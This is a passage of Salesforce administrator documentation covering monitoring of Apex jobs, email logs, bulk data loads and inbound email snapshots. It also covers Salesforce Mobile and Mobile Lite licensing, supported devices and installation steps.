You can monitor background jobs if your organization has parallel sharing recalculation enabled. Parallel sharing recalculation helps larger organizations to speed up sharing recalculation of each object. Contact salesforce.com to determine if this feature is appropriate for your organization. To view any background jobs in your organization, select Your Name > Setup > Monitoring > Background Jobs. The All Background Jobs page shows the details of background jobs, including a percentage estimate of the recalculation progress. Note: You can only monitor background jobs on this page. Contact salesforce.com to abort a background job.

Monitoring the Apex Job Queue


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

The Apex job queue lists all Apex jobs that have been submitted for execution. Jobs that have completed execution are listed, as well as those that are not yet finished, including: Apex methods with the future annotation that have not yet been executed. Such jobs are listed as Future in the Job Type column, and do not have values in the Total Batches or Batches Processed columns. Scheduled Apex jobs that have not yet finished executing. Such jobs are listed as Scheduled Apex in the Job Type column, and do not have values in the Total Batches or Batches Processed columns. Apex sharing recalculation batch jobs that have not yet finished execution. Such jobs are listed as Sharing Recalculation in the Job Type column. The records in a sharing recalculation job are automatically split into batches. The Total Batches column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have already been processed.

959

Monitoring

Monitoring the Apex Job Queue

Batch Apex jobs that have not yet finished execution. Such jobs are listed as Batch Apex in the Job Type column. The records in a batch Apex job are automatically split into batches. The Total Batches column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have already been processed. Note: Sharing recalculation batch jobs are currently available through a limited release program. For information on enabling Apex sharing recalculation batch jobs for your organization, contact salesforce.com.

The Status column lists the current status of the job. The possible values are: Status Queued Preparing Description Job is awaiting execution The start method of the job has been invoked. This status might last a few minutes depending on the size of the batch of records. Job is being processed Job was aborted by a user Job completed with or without failures Job experienced a system failure

Processing Aborted Completed Failed

If one or more errors occur during batch processing, the Status Details column gives a short description of the first error. A more detailed description of that error, along with any subsequent errors, is emailed to the user who started the running batch class. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. This is especially useful if you want to view only future methods, or view only Apex batch jobs. To edit or delete any view you created, select it from the View drop-down list and click Edit. Only one batch Apex job's start method can run at a time in an organization. Batch jobs that havent started yet remain in the queue until they're started. Note that this limit doesnt cause any batch job to fail and execute methods of batch Apex jobs still run in parallel if more than one job is running. For any type of Apex job, you can click Abort Job in the Action column to stop all processing for that job. All batch jobs that have completed execution are removed from the batch queue list seven days after completion. For more information about Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Monitoring Scheduled Jobs Apex Code Overview Developer's Guide: Force.com Apex Code Developer's Guide

960

Monitoring

What Are Email Logs?

What Are Email Logs?


Available in: All Editions except for Database.com

User Permissions Needed To access email logs: Modify All Data

Email logs are CSV files that contain information about all email sent through Salesforce over the last 30 days. Logs contain data such as: The email address of each email sender and recipient The date and time each email was sent The delivery status of each email Any error code associated with each email

You can use email logs to troubleshoot encountered errors. To manage email logs, click Your Name > Setup > Monitoring > Email Log Files. To request a new email log, click Request an Email Log. Due to the volume of email processed through Salesforce, requests are queued in the order that they are received. Email logs should be available within 30 minutes of your request. For more information, see Requesting an Email Log on page 962. The pending email log requests list provides the status on email log requests that have not yet completed. You can have a maximum of three pending log requests at any time. The email log errors list provides descriptions for requests that failed. To resubmit a request that failed, click Resubmit. To delete a request that failed, click Del. Warning: You cannot resubmit a failed request if it requires data that has exceeded the 30 day limit, or if you already have three pending requests. To download an email log, click Download (.zip). Email logs are CSV files contained within a compressed file. Logs contribute to your overall file storage limits. For more information, see Monitoring Resources on page 769. To delete an email log, click Del.

For a summary of the information returned from an email log, see Viewing Email Logs on page 962.

961

Monitoring

What Are Email Logs?

Requesting an Email Log


Available in: All Editions except for Database.com

User Permissions Needed To access email logs: Modify All Data

To request a new email log for your organization: 1. Click Your Name > Setup > Monitoring > Email Log Files. 2. Click Request an Email Log. You can have a maximum of three pending log requests at one time. If you already have three pending requests, you cannot request another log until at least one of those requests completes. 3. Enter a Start Time and End Time range for the email log you want to retrieve. Email logs are available for messages sent within the past 30 days prior to your request. Note: Each email log can span a maximum of seven days. To see email log data from a period of time greater than seven days, create multiple requests. 4. Optionally, you can filter an email log to only include rows where a specific domain name or email address appears in a field, such as Recipient or Message ID Header. To enter more than one filter term, separate each value with a comma. If you leave this field blank, the log is not filtered and all email addresses are returned within the specified time range. 5. Enter the email addresses that you want to receive notification when the email log request is complete. Separate each email address with a comma. To clear a request and return to the email log overview page, click Cancel.

See Also:
Viewing Email Logs

Viewing Email Logs


Available in: All Editions except for Database.com

User Permissions Needed To access email logs: Modify All Data

The following table describes the format of the log file and lists examples of its fields:

962

Monitoring

What Are Email Logs?

Column A B C

Field
Date/Time

Description The date and time the message was sent in GMT

Example 3/06/2009 13:37

Internal Message ID

The unique internal ID of the 16/A4-20983-88E21E84 message Indicates the final email event T in the mail server. Events can be one of the following values: R - Reception The email was successfully received. D - Delivery The email was successfully sent. T - Transient Failure The email transmission was delayed. Salesforce will retry delivery over a 24-hour period. The first retry occurs five minutes after the first transient failure, the second occurs ten minutes after that, the third twenty minutes after that, and so on. P - Permanent Failure The email could not be delivered.

Event

Recipient

The email address of the person to whom the email is sent The email address of the person who sent the email The IP address of the application server that delivered the email to the email server The size of the email

admin@acme.com

E F

Sender

user@acme.com 10.0.0.1

Remote Host

G H

Bytes Transferred User ID

11856

The Salesforce ID of the user 00540000000rSXT who sent the email

963

Monitoring

What Are Email Logs?

Column I

Field
Message ID Header

Description The ID header at the beginning of every email

Example
21749386. 106091224027705044. JavaMail. sfdc@na2-app4-2-sjl. ops.sfdc.net

J K

Retry Count

The number of attempts made 11 to deliver the email The number of seconds the 300 email had to wait before being delivered The final stage the delivery was in before it was logged. Below are the values of the stages in the order that they appear during the SMTP sequence: BANNER The SMTP connection response EHLO The beginning of the session with the mail server STARTTLS Establishes a secure communication session with the email server MAIL FROM Announces the sender of the email RCPT TO Announces the recipient of the email DATA Announces that the subsequent text is the email message
during RCPT TO

Seconds in Queue

Delivery Stage

964

Monitoring

What Are Email Logs?

Column

Field

Description BODY The state when the body of the email is being sent to the recipient RSET Resets the server state, ending the session In addition, there are responses that may appear at any point during the delivery sequence: while not connected The client is trying to establish a connection while idle The client has connected, but is not sending or receiving any commands reading confirmation A command was sent and the client is waiting for a response handshaking TLS An error occurred while trying to establish a secure connection out of band bounce The receiving server accepted a command, but then for an unknown reason rejected it in unknown state An unknown error has occurred

Example

M N

Relay Host

The hostname of the designated relay system The port of the designated relay system

relay.my.org 587

Relay Port

965

Monitoring

What Are Email Logs?

Column O

Field
Delivery Status Notification

Description

Example

After every delivery stage, a 421 no adequate three-digit response code is servers sent from the mail server. The first number indicates whether the command was successful or unsuccessful; the second digit indicates the type of error; and the third provides additional information to resolve the potential problem. The five possible values of the first digit are:
1xx - Positive

Preliminary reply The command was accepted, but no response has been sent
2xx - Positive

Completion reply The requested action has successfully completed


3xx - Positive

Intermediate reply The command was accepted, but the requested action needs more information
4xx - Transient

Negative Completion reply The command was not accepted and the requested action did not occur. However, the error condition is temporary and the action may be requested again.
5xx - Permanent

Negative Completion reply The command was not accepted and the requested action did not

966

Monitoring

Monitoring Bulk Data Load Jobs

Column

Field

Description occur Every email service provider implements the codes differently, so there is no comprehensive list for what the second or third digits indicate. For more information on these codes, view the official SMTP documentation, section 4.2.1: http:// www.ietf.org/rfc/rfc2821.txt ?number=2821

Example

See Also:
What Are Email Logs?

Monitoring Bulk Data Load Jobs


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To monitor bulk data load jobs: Manage Data Integrations

You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs. Process a set of records by creating a job that contains one or more batches. The job specifies which object is being processed and what type of action is being used (query, insert, upsert, update, or delete). A batch is a set of records sent to the server in an HTTP POST request. Each batch is processed independently by the server, not necessarily in the order it is received. To track the status of bulk data load jobs that are in progress or recently completed, click Your Name > Setup > Monitoring > Bulk Data Load Jobs. The In Progress Jobs list contains the following columns, shown in alphabetical order: Column
Job ID

Description The unique, 15character ID for this job.

967

Monitoring

Monitoring Bulk Data Load Jobs

Column
Object Operation

Description The object type for the data being processed. All data in a job must be of a single object type. The processing operation for all the batches in the job. The valid values are: delete insert query upsert update hardDelete The percentage of batches processed relative to the total number of batches submitted. Progress is not shown when the job is open because the total number of batches in the job is not known until the job is closed. Progress may not accurately reflect the number of records processed. Batches may not all contain the same number of records and they may be processed at different speeds. The number of records already processed. This number increases as more batches are processed. The date and time when the job was submitted. The current state of processing for the job. The valid values are: Open: The job has been created, and batches can be added to the job. Closed: No new batches can be added to this job. Batches associated with the job may be processed after a job is closed. You cannot edit or save a closed job. Completed: All batches have been processed. Aborted: The job has been aborted. Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Progress

Records Processed Start Time Status

Submitted By The name of the user that submitted the job.

The Completed Jobs list contains the following columns, shown in alphabetical order. Completed jobs are removed from the list seven days after completion. Column
End Time Job ID Object Operation

Description The date and time when the job completed. The unique, 15character ID for this job. The object type for the data being processed. All data in a job must be of a single object type. The processing operation for all the batches in the job. The valid values are: delete insert query upsert update hardDelete

968

Monitoring

Monitoring Bulk Data Load Jobs

Column
Records Processed Start Time Status

Description The number of records already processed. This number increases as more batches are processed. The date and time when the job was submitted. The current state of processing for the job. The valid values are: Open: The job has been created, and batches can be added to the job. Closed: No new batches can be added to this job. Batches associated with the job may be processed after a job is closed. You cannot edit or save a closed job. Completed: All batches have been processed. Aborted: The job has been aborted. Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job. Time to Complete

The total time to complete the job.

See Also:
Viewing Bulk Data Load Job Details Developer's Guide: Force.com Bulk API Developer's Guide

Viewing Bulk Data Load Job Details


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To monitor bulk data load jobs: Manage Data Integrations

You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs. To view the details of a bulk data load job: 1. Click Your Name > Setup > Monitoring > Bulk Data Load Jobs. 2. Click a Job ID link for a job. The job detail page contains the following fields, shown in alphabetical order:

969

Monitoring

Monitoring Bulk Data Load Jobs

Field
Apex Processing Time (ms) API Active Processing Time (ms)

Description The number of milliseconds taken to process triggers and other processes related to the job data. This is the sum of the equivalent times in all batches in the job. This doesn't include the time used for processing asynchronous and batch Apex operations. If there are no triggers, the value is 0. The number of milliseconds taken to actively process the job and includes the time tracked in the Apex Processing Time (ms) field, but doesn't include the time the job waited in the queue to be processed or the time required for serialization and deserialization. This is the sum of the equivalent times in all batches in the job. The API version for the job. The number of batches that have been completed for this job. The concurrency mode for processing batches. The valid values are: parallel: Batches are processed in parallel mode. This is the default value. serial: Batches are processed in serial mode.

API Version Completed Batches Concurrency Mode

Content Type The content type for the job. The valid values are:


End Time External ID Field Failed Batches Job ID In Progress Batches Object Operations

CSVdata in CSV format XMLdata in XML format (default option) ZIP_CSVdata in CSV format in a zip file containing binary attachments ZIP_XMLdata in XML format in a zip file containing binary attachments

The date and time when the job completed. The name of the external ID field for an upsert(). The number of batches that have failed for this job. The unique, 15character ID for this job. The number of batches that are in progress for this job. The object type for the data being processed. All data in a job must be of a single object type. The processing operation for all the batches in the job. The valid values are: delete insert query upsert update hardDelete The percentage of batches processed relative to the total number of batches submitted. Progress is not shown when the job is open because the total number of batches in the job is not known until the job is

Progress

970

Monitoring

Monitoring Bulk Data Load Jobs

Field

Description closed. Progress may not accurately reflect the number of records processed. Batches may not all contain the same number of records and they may be processed at different speeds.

Queued Batches Records Failed Records Processed Retries

The number of batches queued for this job. The number of records that were not processed successfully in this job. The number of records processed at the time the request was sent. This number increases as more batches are processed. The number of times that Salesforce attempted to save the results of an operation. The repeated attempts are due to a problem, such as a lock contention. The date and time when the job was submitted. The current state of processing for the job. The valid values are: Open: The job has been created, and batches can be added to the job. Closed: No new batches can be added to this job. Batches associated with the job may be processed after a job is closed. You cannot edit or save a closed job. Completed: All batches have been processed. Aborted: The job has been aborted. Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Start Time Status

Submitted By The name of the user that submitted the job. Time to Complete Total Processing Time (ms)

The total time to complete the job. The number of milliseconds taken to process the job. This is the sum of the total processing times for all batches in the job.

The job detail page includes a related list of all the batches for the job. The related list provides View Request and View Response links for each batch. If the batch is a CSV file, the links return the request or response in CSV format. If the batch is an XML file, the links return the request or response in XML format. These links are available for batches created in API version 19.0 and later. The batch related list contains the following fields, shown in alphabetical order: Field
Apex Processing Time (ms) API Active Processing Time (ms)

Description The number of milliseconds taken to process triggers and other processes related to the batch data. If there are no triggers, the value is 0. This doesn't include the time used for processing asynchronous and batch Apex operations. The number of milliseconds taken to actively process the batch, and includes Apex processing time. This doesn't include the time the batch waited in the queue to be processed or the time required for serialization and deserialization.

971

Monitoring

Monitoring Bulk Data Load Jobs

Field
Batch ID End Time

Description The ID of the batch. May be globally unique, but does not have to be. The date and time in the UTC time zone that processing ended. This is only valid when the state is Completed. The number of records that were not processed successfully in this batch. The number of records processed in this batch at the time the request was sent. This number increases as more batches are processed. The number of times that Salesforce attempted to save the results of an operation. The repeated attempts are due to a problem, such as lock contention or a batch taking too long to process. The date and time in the UTC time zone when the batch was created. This is not the time processing began, but the time the batch was added to the job. Contains the reasons for failure if the batch didn't complete successfully. The current state of processing for the batch: Queued: Processing of the batch has not started yet. If the job associated with this batch is aborted, this batch isn't processed and its state is set to Not Processed. In Progress: The batch is currently being processed. If the job associated with this batch is aborted, this batch is still processed to completion. You must close the job associated with this batch so that this batch can finish processing. Completed: The batch has been processed completely and the result resource is available. The result resource indicates if some records have failed. A batch can be completed even if some or all the records have failed. If a subset of records failed, the successful records aren't rolled back. Failed: The batch failed to process the full request due to an unexpected error, such as the request being compressed with an unsupported format, or an internal server error. Not Processed: The batch failed to process the full request due to an unexpected error, such as the request being compressed with an unsupported format, or an internal server error. The number of milliseconds taken to process the batch. This excludes the time the batch waited in the queue to be processed.

Records Failed Records Processed Retry Count

Start Time

State Message Status

Total Processing Time (ms)

View Request Click the link for a batch to see the request. View Result

Click the link for a batch to see the results.

See Also:
Monitoring Bulk Data Load Jobs Developer's Guide: Force.com Bulk API Developer's Guide

972

Monitoring

Monitoring Automated Process Actions

Monitoring Automated Process Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage automated-process actions: Modify All Data

Salesforce Knowledge users can schedule articles to be published or archived on a specific date. Use the automated-process actions queue to view these pending actions and cancel them if necessary. To view pending actions: 1. Click Your Name > Setup > Monitoring > Automated Process Actions. 2. Click Search to view all pending actions for any article, or set the filter criteria and click Search to view only the pending actions that match the criteria. The filter options are: Process Definition The process that is triggering the action. This value is always KBWorkflow. Object The object that triggered the pending action. This value is always Knowledge Article. Scheduled Date The date the pending actions are scheduled to occur. Create Date The date the article that triggered the pending action was created. Created By The user who created the article that triggered the pending action. Record Name The name of the article that triggered the pending action. The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 3136. To cancel pending actions: 1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all currently displayed items. 2. Click Delete. Salesforce cancels the pending action.

See Also:
Salesforce Knowledge Overview Salesforce Knowledge Terminology Publishing Articles and Translations

973

Monitoring

Troubleshooting with Inbound Email Snapshots

Troubleshooting with Inbound Email Snapshots


Take a snapshot of inbound email messages so you can more easily troubleshoot inbound email errors. Available in: All Editions except for Database.com

User Permissions Needed To request, view, download, and delete email snapshots: Modify All Data

Inbound email snapshots capture a copy of inbound email messages, helping you diagnose issues with email services such as Email to Salesforce, Email-to-Case, and Apex email services. Request a snapshot by specifying criteria for the emails To and From addresses, and when an inbound message meets that criteria, the snapshot records a single copy that you can view and download. The email itself is processed normally without alteration. Snapshots contain the: Senders address Inbound email service address Date and time of the snapshot Full message contents, including headers and attachments

To access inbound email snapshots, click Your Name > Setup > Monitoring > Email Snapshots. To request an inbound email snapshot, enter criteria for the To address (required) and From address (optional). Then click Request Snapshot. The requested snapshot is added to the list of Pending and Completed Snapshots. As soon as an inbound message meets your specified criteria, we take a snapshot and complete the request. To view a completed snapshot, you can:
Option View snapshot details Download the snapshot Description Click Show Details to see when the snapshot was taken, the senders address, and the inbound email service address. Click Hide Details to collapse the details section. Click Download then either open the email as a .txt file or save it to your computer.

Consider these tips when using inbound email snapshots: You can have a maximum combined total of 25 pending and completed snapshots. Delete some to free up space for new snapshots. You can delete any pending or completed snapshot, even if someone else originally requested it. Deleted snapshots are permanently deleted. Theyre not moved to the Recycle Bin. When specifying criteria for the To address, keep these tips in mind. The criteria apply to any of the addresses specified in an emails To, CC, or BCC fields (not only the To field). Inbound email service addresses always end in salesforce.com. You may want to look up the addresses your organization uses. This table summarizes where to find them. Type of inbound email address The users unique Email to Salesforce address Where to find addresses Every user can click Your Name > Setup > Email > My Email to Salesforce to view the unique address assigned

974

Salesforce Mobile

Salesforce Mobile Overview

Type of inbound email address

Where to find addresses to the user when your organization enabled Email to Salesforce.

Email routing addresses for Email-to-Case or On-Demand Click Your NameSetupCustomizeCasesEmail-to-Case Email-to-Case to open the Email-to-Case settings page. View the Routing Addresses section. Your organizations email service addresses Click Your Name > Setup > Develop > Email Services, then the name of an email service.

You can use an asterisk (*) wildcard in both the local-part of the email address (the part before the @ symbol) and in the domain-part (the part after the @ symbol). Spaces, commas, and semicolons arent valid characters. Salesforce email addresses are case-insensitive. Each address field can contain a maximum of 255 characters. You can click Request Snapshot multiple times if you want to request more than one snapshot with identical criteria. If you believe a snapshot should have completed but it still shows Pending status, try refreshing the page. Snapshots dont expire. Requested snapshots can remain in Pending status indefinitely if no inbound emails match the specified criteria. Completed snapshots persist until you delete them.

See Also:
Enabling Email to Salesforce Email-to-Case and On-Demand Email-to-Case Overview Defining Email Service Addresses

SALESFORCE MOBILE
Salesforce Mobile Overview
Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

Use Salesforce Mobile to help your mobile teams succeed by keeping them in touch with the latest data, whenever and wherever they need it, directly from mobile devices such as a BlackBerry and iPhone. With Salesforce Mobile, field professionals are prompted to log information directly in Salesforce or Force.com AppExchange apps immediately after important customer calls, emails, and appointments, so critical information is logged in near real time. Salesforce Mobile is a Salesforce feature that enables users to access their Salesforce data from mobile devices running the mobile client application. The Salesforce Mobile client application exchanges data with Salesforce over wireless carrier networks, and stores a local copy of the users data in its own database on the mobile device. Users can edit local copies of their Salesforce records when a wireless connection is unavailable, and transmit those changes when a wireless connection becomes available.

975

Salesforce Mobile

Mobile Lite Overview

To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while another mobile configuration sends cases to customer support representatives. After you add users to a mobile configuration, send them a mass email with a link to install the correct mobile client application on their mobile devices. After installing the client application, users can use the client interface to easily register their devices with Salesforce. Administrators can view information about registered devices and manage mobile users. A separate Salesforce Mobile license is required for each user who uses a mobile device to access Salesforce. For organizations using Unlimited and Developer Editions, salesforce.com provides one mobile license for each Salesforce license. Organizations using Professional or Enterprise Editions must purchase mobile licenses separately. To allocate Salesforce Mobile licenses to users within your organization, select the Mobile User checkbox when editing a user's personal information. For Professional, Enterprise, Unlimited, or Developer Edition users without mobile licenses, Salesforce offers Mobile Lite, a free, restricted version of Salesforce Mobile. Note: The iPhone and BlackBerry mobile client applications are available in English, Japanese, French, German, and Spanish. Contact salesforce.com to enable Salesforce Mobile for your organization.

See Also:
Salesforce Mobile Implementation Guide Salesforce Mobile User Guide for BlackBerry Tip Sheet: Salesforce Mobile for BlackBerry Salesforce Mobile User Guide for Windows Mobile Tip Sheet: Salesforce Mobile for Windows Mobile Salesforce Mobile User Guide for iPhone

Mobile Lite Overview


Available in: All Editions except Database.com

Mobile Lite is a free, restricted version of Salesforce Mobile that is available to any Salesforce user who doesn't have a mobile license. Mobile Lite users can view, create, edit, and delete accounts, assets, contacts, leads, opportunities, events, tasks, cases, and solutions. They also have access to their dashboards. You can enable Mobile Lite for your organization by editing your mobile settings. The mobile settings also let you control whether Mobile Lite users have access to all available CRM tabs, or just to dashboards. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent users from accessing Salesforce from a mobile device. Mobile Lite doesn't include all of the functionality offered in Salesforce Mobile. Mobile Lite: Supports fewer standard objects

976

Salesforce Mobile

Mobile Lite Overview

Doesn't provide support for custom objects Doesn't allow administrators to customize or create mobile configurations

Mobile Lite users are automatically assigned to the default mobile configuration when they activate their Salesforce account from a supported mobile device. Mobile configurations determine the data sent to each mobile user. Administrators can't view or edit the default mobile configuration. Note: Mobile Lite is not supported for partner portal users.

See Also:
Salesforce Mobile Overview Managing Mobile Devices Chatter Mobile App Overview

Supported Devices for Mobile


Available in: All Editions except Database.com

Salesforce Mobile can run on BlackBerry, iOS, and Android operating systems, and it's supported by virtually all wireless carriersif the device can establish a data connection to the Internet, it can typically run the mobile application. Recently-released mobile devices may not be immediately supported because every device goes through the official certification and quality assurance process. For the most current information on supported devices, contact salesforce.com. Below is a list of supported devices per platform. Verify that your device is supported before installing the mobile application. BlackBerry Salesforce Mobile can run on BlackBerry operating system versions 4.3 through 7.0. At a minimum, 2 to 3 MB of free memory should be available on the device. The mobile client application is supported on these BlackBerry smartphones: BlackBerry 9900 Series (Bold) BlackBerry 9800 Series (Torch) BlackBerry 9700 Series (Bold) BlackBerry 9600 Series (Tour) BlackBerry 9500 Series (Storm) BlackBerry 9300 Series (Curve 3G) BlackBerry 9000 Series (Bold) BlackBerry 8900 Series (Javelin) BlackBerry 8800 Series BlackBerry 8500 Series (Curve) BlackBerry 8300 Series (Curve) BlackBerry 8100 Series (Pearl)

977

Salesforce Mobile

Mobile Lite Overview

Note: Mobile users running versions 4.04.3 of the operating system can still download and install Salesforce Mobile; however, the mobile server will detect the older operating system and send version 11.6 of Salesforce Mobile, which was the last release that supported operating system versions 4.04.3. Users on version 11.6 can't use any of the new features included in the current release or future releases. Although Salesforce supports the BlackBerry Storm, some mobile features are not optimized for the touch screen interface. Mobile features were tested against version 4.7.0.87 of the BlackBerry operating system. Starting in Winter '09, Salesforce no longer officially supports the BlackBerry 8700 series, although the mobile application may continue to run on those device models. BlackBerry 9500 (Storm) and 9800 (Torch) Series use the same Salesforce Mobile software as other BlackBerry devices, so some aspects of Salesforce Mobile are not optimized for the touch interface.

iOS Salesforce Mobile requires the latest iPhone operating system available on iTunes. If the App Store icon is available on the home screen, you can use Salesforce Mobile on your device. Ensure your device has at least 10 MB of available space before installing the mobile client application. Salesforce Mobile is supported on these devices: iPhone 5 iPhone 4S iPhone 4 iPhone 3GS iPhone 3G iPhone iPod touch The new iPad with iPhone application in compatibility mode iPad 2 with iPhone application in compatibility mode iPad with iPhone application in compatibility mode Note: Use of the Salesforce Mobile for iPhone products is subject to certain limitations: Third parties (including, but not limited to, Apple Inc. and your network connectivity provider) may at any time restrict, interrupt, or prevent use of Salesforce Mobile for the iPhone and iPod touch devices, or delete the Salesforce Mobile software from iPhone or iPod touch devices, or require salesforce.com to do any of the foregoing, without entitling the customer to any refund, credit, or other compensation from such third party or salesforce.com. Service level agreements do not apply to the Salesforce Mobile for iPhone product. Additional limitations are described in the Order Form Supplement for Salesforce Mobile for iPhone, which users are required to accept upon download or installation of the Salesforce Mobile for iPhone product.

Android Salesforce Mobile supports Android handsets and tablets running OS versions 2.2, 2.3, 3.x.x, 4.0.x, or 4.1.x. when the application is installed through Google Play. Other operating system versions are not currently supported. Note: Salesforce Mobile does not support 100% of the features offered in the Salesforce desktop application, and supported features may vary depending on device type and mobile operating system.

978

Salesforce Mobile

Mobile Lite Overview

Salesforce Mobile device support is based primarily on operating system version. It may be possible for newer devices with unsupported operating systems to download and install Salesforce Mobile, but they are not supported configurations until the operating system version is listed as officially supported. Salesforce.com does not individually certify carrier / model / OS combinations. If a device is listed as supported above and there is a compatibility problem, we will investigate the problem and resolve it as soon as possible.

Managing Mobile Permissions


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To create, change, or delete mobile configurations: View Setup and Configuration Manage Mobile Configurations

Users can access their Salesforce data from an iPhone, BlackBerry, or Windows Mobile device in a mobile client application. There are two versions of the mobile application: Salesforce Mobile: Salesforce Mobile lets mobile users access data for custom objects and some standard objects. Administrators can create mobile configurations that determine which records, fields, objects, and tabs are available in the mobile application. Mobile Lite: Mobile Lite is the free version of the mobile product, and it doesn't include all of the functionality offered in Salesforce Mobile. Mobile Lite supports fewer standard objects, doesn't provide support for custom objects, and doesn't allow administrators to customize or create mobile configurations.

For organizations using Unlimited and Developer Editions, Salesforce provides one mobile license for each Salesforce license. You can allocate mobile licenses using the Mobile User checkbox on the user's record. The Mobile User checkbox is enabled by default for Unlimited and Developer Edition users. To prevent users from activating Salesforce Mobile on their mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users. Mobile Lite users don't need a mobile license to use the product; they can download Mobile Lite for free and activate their Salesforce account. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent users from accessing Salesforce from a mobile device. To disable Mobile Lite: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Settings. 2. Click Edit. 3. Deselect Enable Mobile Lite.

979

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

4. Click Save.

See Also:
Salesforce Mobile Overview Mobile Lite Overview

Installing the Salesforce Mobile and Mobile Lite Mobile Applications


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

You can install the Salesforce Mobile and Mobile Lite applications on any supported iPhone, BlackBerry smartphone, or Windows Mobile device.

iPhone Installation
Salesforce Mobile is available for download from Apple's App Store. To use the App Store, your iPhone or iPod touch must be connected to the network. You also need an iTunes Store account to download applications. If you don't already have an iTunes Store account, open iTunes on your computer and select Store > Account to set one up. To download Salesforce Mobile from the App Store: 1. 2. 3. 4. 5. From the Home screen of your iPhone or iPod touch, select the App Store icon. Tap Search. Tap within the Search field to open the keyboard. Type salesforce. Select Salesforce Mobile or Mobile Lite in the list of search results to view information about the application. Tap Free, and then tap Install. Note: It doesn't cost money to download the application from the App Store. Enterprise, Professional, Unlimited, and Developer Edition users with mobile licenses can run Salesforce Mobile, the full version of the mobile application. Users without a mobile license can run Mobile Lite, the free, restricted version of the mobile application. 6. Enter your iTunes Store account and password and tap OK. 7. The first time you launch the mobile application on your device, you must activate your Salesforce account by logging in and downloading data. Verify that your phone is connected to a network. 8. Tap the Salesforce icon on the Home screen. 9. Tap I Accept. 10. On the activation screen, enter your Salesforce username and password. 11. Tap Activate. Warning: If the application closes or the device locks during the activation process, the iPhone operating system pauses the download process, but it will resume the next time you open the app.

980

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields.

BlackBerry Installation
Salesforce Mobile is available for download from BlackBerry App World. You need an App World account to download apps on your BlackBerry, but you can create an account from your device if you don't already have one. To install the mobile app from BlackBerry App World: 1. Select the BlackBerry App World icon. If the icon is not available on your device, you might need to download BlackBerry App World. App World can't run on all BlackBerry smartphones, so be sure to review Research in Motion's system requirements before trying to install BlackBerry App World on your device. 2. Select the Search icon. 3. Enter salesforce in the Search field. 4. In the search results, select Salesforce Mobile orMobile Lite. 5. Click Download. 6. After the installation completes, select OK. 7. When prompted whether to permit the app to access the phone, select Allow. 8. When prompted whether to permit the application to access tp.mobile.salesforce.com, select Yes. 9. Close BlackBerry App World. 10. Select the app icon, which resides on the home page of your device or in the Applications folder. On newer phones, the icon may be in the Downloads folder. 11. Read the license agreement and select I Accept. 12. Enter your Salesforce username and password. Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox is selected by default. To protect your password, you can deselect the option. 13. Select Activate. After your username and password are confirmed by Salesforce, the data downloads. The initial data download may last a few minutes. Future updates to the data occur automatically. Note: Customers that manage BlackBerry devices with a BlackBerry Enterprise Server can use Application Push to remotely deliver Salesforce Mobile to users. For more information about Application Push, see the topic titled BlackBerry Enterprise Server Application Push in the Salesforce Mobile Implementation Guide. BlackBerry users can also install Salesforce Mobile over-the-air directly from Salesforce.com if they are unable to download the app from the BlackBerry App World. Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields.

Android Installation
Salesforce Mobile is available for download from Google Play. To access Google Play, your Android device must be connected to the network. You also need Google account to download applications. If you don't already have a Google account, go to https://accounts.google.com and select Sign up to set one up. To install the mobile client on an Android device:

981

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

1. 2. 3. 4. 5. 6. 7.

From the Apps screen of your Android device, select the Google Play Store. Select the Search field, and type salesforce. Select Salesforce Mobile from the search results. Select Download. Tap Accept and Download if you agree to the terms. Select Open to launch the application. The first time you launch the mobile application on your device, you must activate your Salesforce account by logging in and downloading data. Verify that your phone is connected to a network. 8. Select I Accept. 9. On the activation screen, enter your Salesforce username and password. 10. Select Activate. Depending on your organization's setup, you might need to set up a passcode before accessing the application.

Windows Mobile Installation


To install the mobile client application on a Windows Mobile device, locate the app in the Windows Marketplace or do the following: 1. Open your Web browser and navigate to the following URL: mobile.salesforce.com. If you received a Salesforce Mobile email message from your Salesforce administrator, you can also click the download link in the message. Note: The installation process for Windows Mobile requires that you use Internet Explorer as the browser.

